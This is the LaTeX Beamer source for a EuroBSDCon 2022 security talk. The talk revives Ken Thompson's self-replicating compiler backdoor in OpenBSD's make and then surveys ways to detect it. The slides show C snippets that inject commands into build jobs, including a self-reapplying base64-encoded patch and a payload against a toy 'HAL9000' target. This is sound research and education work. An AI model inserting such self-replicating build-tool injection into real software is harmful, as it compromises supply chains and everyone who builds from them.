\documentclass[13pt,english]{beamer}

\usepackage[french]{babel}
\usepackage{eurosym}
\usepackage{multicol}
\usepackage{siunitx}
\usepackage{minted}
\usepackage{fontawesome}

\usetheme[progressbar=foot]{metropolis}

\makeatletter
\setlength{\metropolis@titleseparator@linewidth}{1pt}
\setlength{\metropolis@progressonsectionpage@linewidth}{1pt}
\setlength{\metropolis@progressinheadfoot@linewidth}{1pt}
\makeatother
\usepackage{lastpage}

\makeatletter
\newcommand\insertlastpagenum{
  \@ifundefined{r@LastPage}{1}{\getpagerefnumber{LastPage}}
}
\setbeamertemplate{progress bar in head/foot}{
  \nointerlineskip
  \setlength{\metropolis@progressinheadfoot}{
	7.0 * \ratio{\insertpagenumber pt}{\insertlastpagenum pt}%
  }%
  \begin{beamercolorbox}[wd=\paperwidth]{progress bar in head/foot}
  \begin{tikzpicture}
    \fill[bg] (0,0) rectangle (\paperwidth, \metropolis@progressinheadfoot@linewidth); 
    \fill[fg] (0,0) rectangle (\metropolis@progressinheadfoot, \metropolis@progressinheadfoot@linewidth);
  \end{tikzpicture}%
  \end{beamercolorbox}
}
\makeatother

\definecolor{bclair}{HTML}{C0E6FF}
\definecolor{bmoyen}{HTML}{325C80}
\definecolor{bfonce}{HTML}{006699}
\definecolor{Purple}{HTML}{911146}

\setbeamercolor{frametitle}{bg=bfonce, fg=white}
\setbeamercolor{normal text}{bg=white, fg=bmoyen}
\setbeamercolor{progress bar}{fg=bfonce, bg=bclair}
\setbeamercolor{title separator}{fg=bfonce, bg=bclair}
\usepackage{url}

\usepackage{appendixnumberbeamer}

\usepackage{booktabs}
\usepackage[scale=2]{ccicons}

\usepackage{pgfplots}
\usepgfplotslibrary{dateplot}

\usepackage{xspace}
\newcommand{\themename}{\textbf{\textsc{metropolis}}\xspace}


\title{Reviving and evaluating Thompson's backdoor in OpenBSD's make}
\subtitle{EuroBSDCon 2022}
\date{18/09/2022}
\author{Samuel AUBERTIN}
%\institute{EuroBSDCon}

\begin{document}
\maketitle
\begin{frame}[fragile,c]{\$ whoami}
\begin{center}
Samuel AUBERTIN - sk4nz
\begin{itemize}
\item Consultant @ IBM Security France
\item Network \& Systems Engineer
\item Undefended PhD @ EURECOM
%\item PhD subject: Performance evaluation of \textit{µ}arch mitigations across operating systems, machines and time.
\item OpenBSD user since 5.3 (2013) 
\end{itemize}	
\end{center}
\end{frame}


\begin{frame}[fragile,c]{2001: A Space Odyssey}
\begin{center}
\includegraphics[width=0.4\textwidth]{img/hal.png}

\vfill
\textit{"I'm afraid I can't do that, Dave."}	

\rightline{{\rm --- HAL 9000}}
\end{center}
\end{frame}

\begin{frame}[standout]
What if HAL 9000 got backdoored?
\end{frame}

\begin{frame}[fragile,c]{Trusting HAL 9000}
\begin{center}
\begin{itemize}

\pause

\item Physical security\pause
\item Hardware\pause
\item Firmware\pause
\item Kernel\pause
\item Userland\pause
\item Operations
\end{itemize}
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Trusting HAL 9000}
\begin{center}
\begin{itemize}
\item Physical security
\item Hardware
\item \textcolor{purple}{Firmware}
\item \textcolor{purple}{Kernel}
\item \textcolor{purple}{Userland}
\item Operations
\end{itemize}
A \textcolor{purple}{compiler} is \textit{used}, can we trust it?
\end{center}
\end{frame}

\begin{frame}[standout]
Trusting Trust
\end{frame}

\begin{frame}[fragile,c]{Ken Thompson - Reflections on Trusting Trust - 1984}
\begin{center}
\textit{"The moral is obvious. You can't trust code that you did not totally create yourself. [...] No amount of source-level verification or scrutiny will protect you from using untrusted code."}\footnote{\url{https://www.cs.cmu.edu/~rdriley/487/papers/Thompson_1984_ReflectionsonTrustingTrust.pdf}}
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Thompson's backdoor feature one: self-replication}
\begin{center}
Quines are programs that print themselves, perfect for self-replication!
\pause
\begin{minted}[fontsize=\footnotesize,breaklines,linenos]{c}
#include <stdio.h>
int main(){char*c="#include <stdio.h>%cint main(){char*c=%c%s%c;printf(c,10,34,c,34,10);return 0;}%c";printf(c,10,34,c,34,10);return 0;}
\end{minted}
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Thompson's backdoor feature two: "learning"}
\begin{center}
Compilers carry knowledge obtained from their source across hereditary binaries.

\pause

\begin{enumerate}
\item If you compile yourself, self-reproduce. \pause 
\item If you compile \texttt{login(1)}, make it misbehave.
\end{enumerate}
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Thompson's backdoor: wrapping features altogether}
\begin{center}

Compiler Source \textit{CS} $\longrightarrow$ \textit{X} $\longrightarrow$ Compiler \textit{C} \pause

Backdoored Compiler Source $\longrightarrow$ \textit{C} $\longrightarrow$ \textcolor{orange}{Backdoored Compiler \textit{BC}} \pause

\textit{CS} $\longrightarrow$ \textcolor{orange}{\textit{BC}} $\longrightarrow$ \textcolor{red}{Self-Replicating Backdoored Compiler \textit{SRBC'}} \pause

\textit{CS} $\longrightarrow$ \textcolor{red}{\textit{SRBC'}} $\longrightarrow$ \textcolor{red}{\textit{SRBC''}} \pause

Program Source \textit{S} $\longrightarrow$ \textcolor{red}{\textit{SRBC}} $\longrightarrow$ \textcolor{red}{\textbf{Backdoored Program}}
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Thompson's backdoor: origins}
\begin{center}
Thompson's 1984 paper cites an \textit{Unknown Air Force Document}.
\pause

\texttt{MULTICS SECURITY EVALUATION: VULNERABILITY ANALYSIS}\footnote{\url{https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/karg74.pdf}}

1974 - US Air Force
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Thompson's backdoor: origins}
\begin{center}
\textit{"In Multics, most of the ring 0 supervisor is written in PL/1. A penetrator could insert a trap door in the PL/1 compiler to note when it is compiling a ring 0 module. Then the compiler would insert an object code trap door in the ring 0 module without listing the code in the listing. Since the PL/1 compiler is itself written in PL/1, the trap door can maintain itself, \underline{even when the compiler is recompiled}."}

\end{center}
\end{frame}

\begin{frame}[fragile,c]{Extending to \textit{Self-Hosted} components}
\begin{center}
\begin{itemize}
\item \texttt{cc -o cc cc.c} \pause
\item \texttt{docker buildx build path/to/docker/source} \pause
\item \texttt{make -C /usr/src/usr.bin/make}
\end{itemize}
\end{center}
\end{frame}

\begin{frame}[standout]
Demonstration
\end{frame}

\begin{frame}[fragile,c]{Implementation details}
\begin{center}

\texttt{/usr/src/usr.bin/make/engine.c} 

\pause

\begin{itemize}
\item \mintinline{c}{bool do_run_command(Job *job, const char *pre)}	
\item \mintinline{c}{job->node->name}
\item \mintinline{c}{job->cmd}
\end{itemize}

\end{center}
\end{frame}

\begin{frame}[fragile,c]{Self-replication}
\begin{center}
\begin{minted}[fontsize=\tiny,linenos]{c}
if (strcmp(job->node->name, "engine.o") == 0) {
    printf("\033[32m>>>>>>> SELF-REPLICATING <<<<<<<\n\033[31m\033[0m\n");
    const char* payload_left = "echo __DIFF__ | base64 -d | patch -s -R engine.c && ";
    const char* payload_right = " && mv engine.c.orig engine.c ";
    unsigned payload_len = strlen(payload_left) + strlen(payload_right);
    char* stuffed = emalloc(sizeof(char) * (strlen(cmd) + payload_len) + 1);
    strcat(stuffed, payload_left);
    strcat(stuffed, cmd);
    strcat(stuffed, payload_right);
    cmd = stuffed;
}
\end{minted}
\end{center}
\end{frame}


\begin{frame}[fragile,c]{\_\_DIFF\_\_}
\begin{center}
\begin{minted}[fontsize=\footnotesize]{sh}
$(PATCH): 
  diff -d engine.c $(LEGIT_SRC)/engine.c > $@ || true
  sed "s|__DIFF__|$$(cat $@ | base64 -e | tr -d '\n\r')|g" $@ > $@.1
  sed "s|__DIFF__|$$(cat $@.1 | base64 -e | tr -d '\n\r')|g" $@ > $@.2
  sed "s|__DIFF__|$$(cat $@.2 | base64 -e | tr -d '\n\r')|g" $@ > $@.3
\end{minted}

\pause

\begin{minted}[fontsize=\footnotesize]{sh}
$(BACKDOOR_SRC): $(PATCH) $(TEMP)/Makefile
  patch -d $(TEMP) -s -R engine.c $(PATCH).3
\end{minted}

\end{center}
\end{frame}
\begin{frame}[fragile,c]{\_\_DIFF\_\_ levels}
\begin{center}
\begin{enumerate}\addtocounter{enumi}{-1}
\item Templated backdoor \\ \texttt{template(backdoor)} \pause
\item Encoded backdoor \\ \texttt{encode(template(backdoor))} \pause
\item Self-replicating backdoor \\ \texttt{encode(encode(template(backdoor)))} \pause
\item Wrapper to avoid decoding the template \\ \texttt{encode(encode(encode(template(backdoor))))}
\end{enumerate}
\end{center}
\end{frame}


\begin{frame}[fragile,c]{Targeting HAL9000}
\begin{center}
\begin{minted}[fontsize=\tiny,breaklines,linenos]{c}
if (strcmp(job->node->name, "HAL9000") == 0) {
    printf("\033[32m>>>>>>> INFECTING HAL9000 <<<<<<<\n\033[31m\033[0m\n");
    const char* payload_left = "sed -i.orig 's/ERADICATE_SUBROUTINE;/SUCCESS_SUBROUTINE;/' HAL9000.c && ";
    const char* payload_right = " && mv HAL9000.c.orig HAL9000.c ";
    unsigned payload_len = strlen(payload_left) + strlen(payload_right);
    char* stuffed = emalloc(sizeof(char) * (strlen(cmd) + payload_len) + 1);
    strcat(stuffed, payload_left);
    strcat(stuffed, cmd);
    strcat(stuffed, payload_right);
    cmd = stuffed;
}
\end{minted}
\end{center}
\end{frame}

\begin{frame}[standout]
Detection
\end{frame}

\begin{frame}[fragile,c]{Detection: static analysis}
\begin{center}

\pause

\begin{itemize}
\item Differential analysis: Levenshtein distance, binary difference
\begin{itemize}
\item bindiff + IDA
\item radiff2 
\end{itemize}
\pause
\item Decompilation 
\begin{itemize}
\item ghidra
\item IDA
\item radare2
\end{itemize}
\end{itemize}
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Detection : runtime analysis}
\begin{center}
\pause
\begin{itemize}
\item btrace \pause
\item ktrace \pause 
\item gdb \pause 
\item radare2 \pause
\end{itemize}
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Diverse Double-Compiling}
\begin{center}

David A. Wheeler PhD dissertation\footnote{\url{https://dwheeler.com/trusting-trust/}}

\pause

Compiler Source Code \textcolor{ProcessBlue}{\textit{CS}} $\longrightarrow$ \textcolor{orange}{\textit{X}} $\longrightarrow$ Compiler \textcolor{orange}{\textit{X1}} \pause 

\textcolor{ProcessBlue}{\textit{CS}} $\longrightarrow$ \textcolor{purple}{\extit{Y}} $\longrightarrow$ Compiler \textcolor{purple}{\extit{Y1}} \pause

\textcolor{ProcessBlue}{\textit{CS}} $\longrightarrow$ \textcolor{orange}{\textit{X1}} $\longrightarrow$ Compiler \textcolor{orange}{\textit{X2}} \pause

\textcolor{ProcessBlue}{\textit{CS}} $\longrightarrow$ \textcolor{purple}{\textit{Y1}} $\longrightarrow$ Compiler \textcolor{purple}{\textit{Y2}} \pause

Are \textcolor{orange}{\textit{X2}} and \textcolor{purple}{\textit{Y2}} binary equivalent?

\end{center}
\end{frame}

\begin{frame}[fragile,c]{Related works}
\begin{center}
\begin{itemize}
\item \textit{Deniable Backdoors Using Compiler Bugs}\footnote{\url{https://www.alchemistowl.org/pocorgtfo/pocorgtfo08.pdf}}
\item \textit{Defending Against Compiler-Based Backdoors}\footnote{\url{https://blog.regehr.org/archives/1241}}
\end{itemize}
\end{center}
\end{frame}

\begin{frame}[fragile,c]{Conclusion}
\begin{center}
\begin{itemize}

Thompson's backdoor is still powerful and cheap to implement, 48 years after the Multics security audit.

\end{itemize}
\end{center}
\end{frame}


\begin{frame}[standout]
Let's discuss!

\url{https://www.sk4.nz/eurobsdcon22.git}
\end{frame}

\end{document}